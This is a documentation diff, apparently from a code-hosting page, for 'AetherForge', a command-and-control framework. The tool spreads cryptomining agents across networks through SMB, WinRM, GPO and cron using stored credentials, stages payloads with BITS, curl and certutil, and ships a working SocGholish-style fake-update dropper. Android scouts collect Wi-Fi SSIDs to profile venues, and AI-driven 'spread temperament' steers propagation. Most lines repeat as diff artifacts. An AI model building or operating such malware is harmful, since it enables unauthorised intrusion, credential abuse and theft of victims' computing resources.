| `triple onion` | Orchestrated recon → deploy → mining chain with shared `lotl_attempts` telemetry and policy gates. | Server Calibrate `triple_onion_policy`; agent `TripleOnionOrchestrator` in `agent/miner/triple_onion.go`. |
| `triple onion` | Orchestrated recon → deploy → mining chain with shared `lotl_attempts` telemetry and policy gates. | Server Calibrate `triple_onion_policy`; agent `TripleOnionOrchestrator` in `agent/miner/triple_onion.go`. |
| `patch_first` | Gate: when critical unpatched CVEs are exposed, defer deploy and mining until remediated. | Calibrate `patch_first: true` (default); gate reason `patch_first: critical CVE exposed`. |
| `patch_first` | Gate: when critical unpatched CVEs are exposed, defer deploy and mining until remediated. | Calibrate `patch_first: true` (default); gate reason `patch_first: critical CVE exposed`. |
| `join_lane` | Last successful `discover_and_join` supply-chain lane id on an agent. | WS `stats_batch` `join_lane`; Emberwake funnel `JoinLaneBadge`. |
| `join_lane` | Last successful `discover_and_join` supply-chain lane id on an agent. | WS `stats_batch` `join_lane`; Emberwake funnel `JoinLaneBadge`. |
| `deployment_credentials` vault | Named cred profiles in `config.json` + password files under `data/deployment-creds/` for SMB/WinRM spread. | See [Operator quick start](#operator-quick-start-lotl--fleet-recon) JSON block; never commit `.vault` files. |
| `deployment_credentials` vault | Named cred profiles in `config.json` + password files under `data/deployment-creds/` for SMB/WinRM spread. | See [Operator quick start](#operator-quick-start-lotl--fleet-recon) JSON block; never commit `.vault` files. |
### C2 / telemetry
### C2 / telemetry
@@ -471,16 +470,16 @@ Every term below has a plain-language definition and a copy-pasteable example (C
| Term | Definition | Example |
| Term | Definition | Example |
|------|------------|---------|
|------|------------|---------|
| `lotl_tier` | Active mining or spread tier id currently hashing or last successful lane. | Crucible `LotlTierBadge` shows `cpu_inprocess`, `container`, etc. from WS stats. |
| `lotl_tier` | Active mining or spread tier id currently hashing or last successful lane. | Crucible `LotlTierBadge` shows `cpu_inprocess`, `container`, etc. from WS stats. |
| `lotl_attempts` | Ordered list of tier tries with `ok`, `error`, `duration_ms`, `wallet` — diagnostic audit trail. | `mining_diagnostics` JSON and `LotlAttemptsList` in Crucible expanded ops. |
| `lotl_attempts` | Ordered list of tier tries with `ok`, `error`, `duration_ms`, `wallet`  diagnostic audit trail. | `mining_diagnostics` JSON and `LotlAttemptsList` in Crucible expanded ops. |
| `mining_hashrate` | Live CPU RandomX hashrate (H/s) relayed in `stats_batch` alongside legacy CPU fields. | Dashboard fleet row + `TestMiningStatusRelayCoalescedToStatsBatch`. |
| `mining_hashrate` | Live CPU RandomX hashrate (H/s) relayed in `stats_batch` alongside legacy CPU fields. | Dashboard fleet row + `TestMiningStatusRelayCoalescedToStatsBatch`. |
| `stratum_egress` | How shares leave the agent: `c2_ws` (via server proxy), `direct` (pool Stratum), or `none`. | Agent stats `stratum_egress`; visible in mining diagnostics terminal block. |
| `stratum_egress` | How shares leave the agent: `c2_ws` (via server proxy), `direct` (pool Stratum), or `none`. | Agent stats `stratum_egress`; visible in mining diagnostics terminal block. |
| Full Playwright discover→spread E2E | **Partial** | `discover-spread.spec.ts` covers Probe & Join POST + stub join_lane ack; real WinRM/SMB/GPO lanes still unit-tested only (see [Gaps](#gaps-hard-to-unit-test)). |
| Full Playwright discover→spread E2E | **Partial** | `discover-spread.spec.ts` covers Probe & Join POST + stub join_lane ack; real WinRM/SMB/GPO lanes still unit-tested only (see [Gaps](#gaps-hard-to-unit-test)). |
| SocGholish fake-update lander | **Stub** | Dropper works; branded HTML lander not shipped (`SPREAD_TECHNIQUES.html` third-party table). |
| SocGholish fake-update lander | **Stub** | Dropper works; branded HTML lander not shipped (`SPREAD_TECHNIQUES.html` third-party table). |
| OAuth redirect / TDS gate | **Needs** | Documented in spread playbook as research-only paths. |
| OAuth redirect / TDS gate | **Needs** | Documented in spread playbook as research-only paths. |
@@ -537,33 +536,33 @@ All Go packages under `server/` and `agent/` are picked up automatically by `go
| `TestAllowAgentWSUpgradeRateLimit` | 31st `/ws/agent` upgrade from same IP within 1 min rejected; empty IP allowed | `server/internal/api/agent_ws_limiter_test.go` | 1 |
| `TestAllowAgentWSUpgradeRateLimit` | 31st `/ws/agent` upgrade from same IP within 1 min rejected; empty IP allowed | `server/internal/api/agent_ws_limiter_test.go` | 1 |
| Crucible exec E2E | Online stub agent; **whoami** and terminal **echo** on `/crucible` | `server/web/e2e/crucible-command.spec.ts` | 8 |
| Crucible exec E2E | Online stub agent; **whoami** and terminal **echo** on `/crucible` | `server/web/e2e/crucible-command.spec.ts` | 8 |
@@ -594,7 +593,7 @@ cd agent && go test ./client/... -run "PathTracer|PathForge|Wg|WG|AllowRemoteAct
cd server\web && npm run test -- --run src/pages/BuilderPage.test.tsx
cd server\web && npm run test -- --run src/pages/BuilderPage.test.tsx
```
```
Note: PathForge `skipped` counter is returned by the API (`PathForgeResult.skipped`) but not rendered in BuilderPage yet — Go tests cover the counter; Vitest verifies placement summary only.
Note: PathForge `skipped` counter is returned by the API (`PathForgeResult.skipped`) but not rendered in BuilderPage yet  Go tests cover the counter; Vitest verifies placement summary only.
Run P0 Go tests quickly:
Run P0 Go tests quickly:
@@ -614,7 +613,7 @@ set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npx playwright test e2e/crucible-command.spec.ts e2e/crucible-lotl.spec.ts
cd server\web && npx playwright test e2e/crucible-command.spec.ts e2e/crucible-lotl.spec.ts
```
```
Run P2 LOTL timeline + discover→spread E2E (live server required — `test.bat` phase 8 seeds `:18989`):
Run P2 LOTL timeline + discover→spread E2E (live server required  `test.bat` phase 8 seeds `:18989`):
```bat
```bat
set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_USER=testuser
@@ -623,11 +622,11 @@ set AETHERFORGE_URL=http://127.0.0.1:18989
cd server\web && npx playwright test e2e/lotl-timeline.spec.ts e2e/discover-spread.spec.ts --reporter=line
cd server\web && npx playwright test e2e/lotl-timeline.spec.ts e2e/discover-spread.spec.ts --reporter=line
```
```
`lotl-timeline.spec.ts` — navigates `/lotl-timeline`, asserts the 14-tier onion chain, fleet overview chips, clearance/court panel smoke (mocked `GET /ai/clearance-events` + court decision), and AI decision panel when `ai_control_enabled` is mocked. Uses `ensureLiveStubAgent` + `loginToDashboard`.
`lotl-timeline.spec.ts`  navigates `/lotl-timeline`, asserts the 14-tier onion chain, fleet overview chips, clearance/court panel smoke (mocked `GET /ai/clearance-events` + court decision), and AI decision panel when `ai_control_enabled` is mocked. Uses `ensureLiveStubAgent` + `loginToDashboard`.
`discover-spread.spec.ts` — Crucible **Probe & Join** on the spread tab; asserts `POST /api/v1/agents/{id}/command` with `discover_and_join`. Multi-hop case uses `discover-spread-stub.ts` (separate WS agent) to acknowledge the command and push `join_lane: dns_txt` stats — validates UI wiring, not real SMB spread.
`discover-spread.spec.ts`  Crucible **Probe & Join** on the spread tab; asserts `POST /api/v1/agents/{id}/command` with `discover_and_join`. Multi-hop case uses `discover-spread-stub.ts` (separate WS agent) to acknowledge the command and push `join_lane: dns_txt` stats  validates UI wiring, not real SMB spread.
`e2e/fixtures.ts` exports `waitForServerHealth()` — polls `/api/v1/health` for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets `AETHERFORGE_FLEET_SECRET` from `data/config.json` (regex parse — avoids PowerShell duplicate-key JSON issues) and `AETHERFORGE_E2E=1` on the server so online stub agents get L3 shell clearance for exec/whoami round-trips.
`e2e/fixtures.ts` exports `waitForServerHealth()`  polls `/api/v1/health` for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets `AETHERFORGE_FLEET_SECRET` from `data/config.json` (regex parse  avoids PowerShell duplicate-key JSON issues) and `AETHERFORGE_E2E=1` on the server so online stub agents get L3 shell clearance for exec/whoami round-trips.
`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (Crucible prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in `.cop-mining` and bulk Pause in `.fleet-bulk-bar` when only an offline agent is selected.
`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (Crucible prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in `.cop-mining` and bulk Pause in `.fleet-bulk-bar` when only an offline agent is selected.
@@ -654,7 +653,7 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts
Optional probe env vars for Access Depth (`environment_probes`):
Optional probe env vars for Access Depth (`environment_probes`):
@@ -775,7 +774,7 @@ Optional probe env vars for Access Depth (`environment_probes`):
Forge may also bake `ApkMode` and `ScoutMode` (`-ldflags` / builder preset) so registration reports `platform=android` without runtime env. **Scout mode** (`scout_mode: true`) keeps mining off, runs `discover_and_join` + `service_graph` only, pushes phenotype via `scout_report`, and never stages spread payloads. **Scout constellation mode** (zero config): 3+ `scout_report` hits on the same SSID within 10 minutes form a venue constellation; server infers `airport`/`campus`/`retail`/`unknown` and pushes venue persona packs via `spread_policy` + `policy_update`. APK scouts send `ssid` from `AETHERFORGE_WIFI_SSID`; Emberwake/dashboard weather-map merges active scout biomes.
Forge may also bake `ApkMode` and `ScoutMode` (`-ldflags` / builder preset) so registration reports `platform=android` without runtime env. **Scout mode** (`scout_mode: true`) keeps mining off, runs `discover_and_join` + `service_graph` only, pushes phenotype via `scout_report`, and never stages spread payloads. **Scout constellation mode** (zero config): 3+ `scout_report` hits on the same SSID within 10 minutes form a venue constellation; server infers `airport`/`campus`/`retail`/`unknown` and pushes venue persona packs via `spread_policy` + `policy_update`. APK scouts send `ssid` from `AETHERFORGE_WIFI_SSID`; Emberwake/dashboard weather-map merges active scout biomes.
Persona spread temperament (`server.ai_persona`) maps aggressive/silent/passive/persuasive/balanced to default spread tier order hints. When `ai_control_enabled` is on, auth and `policy_update` push `spread_temperament` (adaptive_strategy shape) and `FleetAISnapshot` merges it for the scheduler — AI shapes propagation personality, not just restarts.
Persona spread temperament (`server.ai_persona`) maps aggressive/silent/passive/persuasive/balanced to default spread tier order hints. When `ai_control_enabled` is on, auth and `policy_update` push `spread_temperament` (adaptive_strategy shape) and `FleetAISnapshot` merges it for the scheduler  AI shapes propagation personality, not just restarts.
Quick run:
Quick run:
@@ -784,7 +783,7 @@ cd agent && go test ./config/... ./client/... ./miner/... -run "RegistrationPlat
cd server\web && npm test -- --run src/help/platform.test.ts src/help/accessDepth.test.ts src/help/lotlTimeline.test.ts
cd server\web && npm test -- --run src/help/platform.test.ts src/help/accessDepth.test.ts src/help/lotlTimeline.test.ts
```
```
Crucible shows 🤖 for Android roster rows; Access Depth uses Wi-Fi / battery / foreground-service probe chips and a 2-tier mining onion (desktop tiers listed as skipped).
Crucible shows 🤖 for Android roster rows; Access Depth uses Wi-Fi / battery / foreground-service probe chips and a 2-tier mining onion (desktop tiers listed as skipped).
Run LOTL Go tests quickly:
Run LOTL Go tests quickly:
@@ -794,7 +793,7 @@ cd server && go test ./internal/api/... ./internal/builder/... ./internal/models
cd server\web && npm test -- --run src/help/lotlOnionTiers.test.ts src/components/Fleet/LotlTierBadge.test.tsx src/help/applyStatsUpdate.test.ts src/context/WebSocketProvider.test.tsx
cd server\web && npm test -- --run src/help/lotlOnionTiers.test.ts src/components/Fleet/LotlTierBadge.test.tsx src/help/applyStatsUpdate.test.ts src/context/WebSocketProvider.test.tsx
```
```
### P2 — spread lanes (mock/inject; no real remote hosts)
### P2  spread lanes (mock/inject; no real remote hosts)
| Test | What it validates | File | Phase |
| Test | What it validates | File | Phase |
|------|-------------------|------|-------|
|------|-------------------|------|-------|
@@ -804,8 +803,8 @@ cd server\web && npm test -- --run src/help/lotlOnionTiers.test.ts src/component
@@ -818,28 +817,28 @@ cd agent && go test ./deploy/... ./client/... -run "BITS|Curl|WinRM|GPO|systemd|
cd server && go test ./internal/api/... -run "Spread|Deploy|Service" -count=1
cd server && go test ./internal/api/... -run "Spread|Deploy|Service" -count=1
```
```
**Still P2 (honest gaps):** live Docker/Podman start, real WinRM/GPO/systemd/crontab on remote hosts, live BITS/curl on target OS, live multi-hop discover→spread E2E (stub Playwright only), Path Forge cancel/batch race UI.
**Still P2 (honest gaps):** live Docker/Podman start, real WinRM/GPO/systemd/crontab on remote hosts, live BITS/curl on target OS, live multi-hop discover→spread E2E (stub Playwright only), Path Forge cancel/batch race UI.
### Gaps (hard to unit-test)
### Gaps (hard to unit-test)
- **Real Docker/Podman container start** — requires OCI runtime on host; covered by chain logic mocks only.
- **Real Docker/Podman container start**  requires OCI runtime on host; covered by chain logic mocks only.
- **`DetectContainerRuntime` CLI probe** — depends on `exec.LookPath`; execution mode tests use `SetRuntimeDetector` inject instead.
- **`DetectContainerRuntime` CLI probe**  depends on `exec.LookPath`; execution mode tests use `SetRuntimeDetector` inject instead.
- **Live pool + GPU binary on host** — `MiningChainRunner` lifecycle covered in `mining_chain_lifecycle_test.go` with mock container exec + injected hooks; no live Docker daemon or T-Rex download required.
- **Live pool + GPU binary on host**  `MiningChainRunner` lifecycle covered in `mining_chain_lifecycle_test.go` with mock container exec + injected hooks; no live Docker daemon or T-Rex download required.
- **Real WinRM/GPO/systemd/crontab spread execution** — requires elevated Windows domain or Linux init; template export + lane dispatch covered in P2 tests above.
- **Real WinRM/GPO/systemd/crontab spread execution**  requires elevated Windows domain or Linux init; template export + lane dispatch covered in P2 tests above.
- **Real BITS/curl/certutil download** — network + OS tooling; injectable staging hooks in `staging_chain_test.go` cover assembly without live transfers.
- **Real BITS/curl/certutil download**  network + OS tooling; injectable staging hooks in `staging_chain_test.go` cover assembly without live transfers.
- **E2E Crucible lotl_tier badge** — covered in `crucible-command.spec.ts` (stub sends `lotl_tier` + `lotl_attempts` via WS `stats`; requires live server — phase 8 or `AETHERFORGE_URL`).
- **E2E Crucible lotl_tier badge**  covered in `crucible-command.spec.ts` (stub sends `lotl_tier` + `lotl_attempts` via WS `stats`; requires live server  phase 8 or `AETHERFORGE_URL`).
- **Playwright fleet recon flow** — Probe & Join POST + stub join_lane ack in `discover-spread.spec.ts`; real lateral spread execution still not E2E.
- **Playwright fleet recon flow**  Probe & Join POST + stub join_lane ack in `discover-spread.spec.ts`; real lateral spread execution still not E2E.
### Agent logs (not a missing API)
### Agent logs (not a missing API)
- **`get_log` command** — Fleet Roster → Remote Control → Fetch Log (or `GET /api/v1/agents/{id}/log?refresh=1` triggers the command and returns cached tail)
- **`get_log` command**  Fleet Roster → Remote Control → Fetch Log (or `GET /api/v1/agents/{id}/log?refresh=1` triggers the command and returns cached tail)
- **`upload_log` AI tool** — when AI autonomy is enabled, the agent reports log content via `/api/v1/agent/report` after an Ollama tool call
- **`upload_log` AI tool**  when AI autonomy is enabled, the agent reports log content via `/api/v1/agent/report` after an Ollama tool call
Unit tests cover `AgentRemoteActions` offline gating and mining live-stats in `components.test.tsx`; Playwright `e2e/remote-actions.spec.ts` mocks an offline agent and asserts disabled buttons.
Unit tests cover `AgentRemoteActions` offline gating and mining live-stats in `components.test.tsx`; Playwright `e2e/remote-actions.spec.ts` mocks an offline agent and asserts disabled buttons.
### Frontend types (`types/index.ts`)
### Frontend types (`types/index.ts`)
TypeScript interfaces in `server/web/src/types/` are compile-time contracts only — no runtime JSON schema guards. Validation lives in forms, forge preflight, and server-side handlers.
TypeScript interfaces in `server/web/src/types/` are compile-time contracts only  no runtime JSON schema guards. Validation lives in forms, forge preflight, and server-side handlers.
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.